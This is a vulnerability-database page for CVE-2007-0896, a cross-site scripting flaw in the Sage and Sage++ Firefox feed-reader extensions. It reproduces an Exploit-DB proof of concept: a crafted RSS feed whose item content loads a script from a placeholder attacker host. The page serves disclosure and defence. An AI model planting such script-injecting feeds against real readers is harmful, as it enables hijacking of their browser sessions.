CVE-2007-0896 : Detail

CVE-2007-0896

Cross-site Scripting
A03-Injection
1.57%V3
Network
2007-02-13
10h00 +00:00
2017-07-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cross-site scripting (XSS) vulnerability in the (1) Sage before 1.3.10, and (2) Sage++ extensions for Firefox, allows remote attackers to inject arbitrary web script or HTML via a "

Exploit information

Exploit Database EDB-ID : 29573

Publication date : 2007-02-08 23h00 +00:00
Author : Fukumori
EDB Verified : Yes

source: https://www.securityfocus.com/bid/22493/info Sage Extension Feed is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Hostile HTML and script code may be injected into vulnerable sections of the application. When viewed, this code may be rendered in the browser of a user viewing a malicious RSS feed. Sage Extension Feed 1.3.9 is vulnerable to this issue; prior versions may also be affected. <?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" <channel> <title>test</title> <link>http://www.example.com/</link> <description>test</description> <item> <title>test</title> <content:encoded><![CDATA[ <SCRIPT/=''SRC='http://atackersite/xss.js'></SCRIPT> ]]> </content:encoded> </item> </channel> </rss>

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version *

Sage>>Sage >> Version *

    Sage>>Sage >> Version To (including) 1.3.9

      Sage>>Sage >> Version 1.0_beta_3

        Sage>>Sage >> Version 1.3.6

          References

          http://osvdb.org/33131
          Tags : vdb-entry, x_refsource_OSVDB
          http://www.securitytracker.com/id?1017624
          Tags : vdb-entry, x_refsource_SECTRACK
          http://jvn.jp/jp/JVN%2384430861/index.html
          Tags : third-party-advisory, x_refsource_JVN
          http://secunia.com/advisories/24086
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.securityfocus.com/bid/22493
          Tags : vdb-entry, x_refsource_BID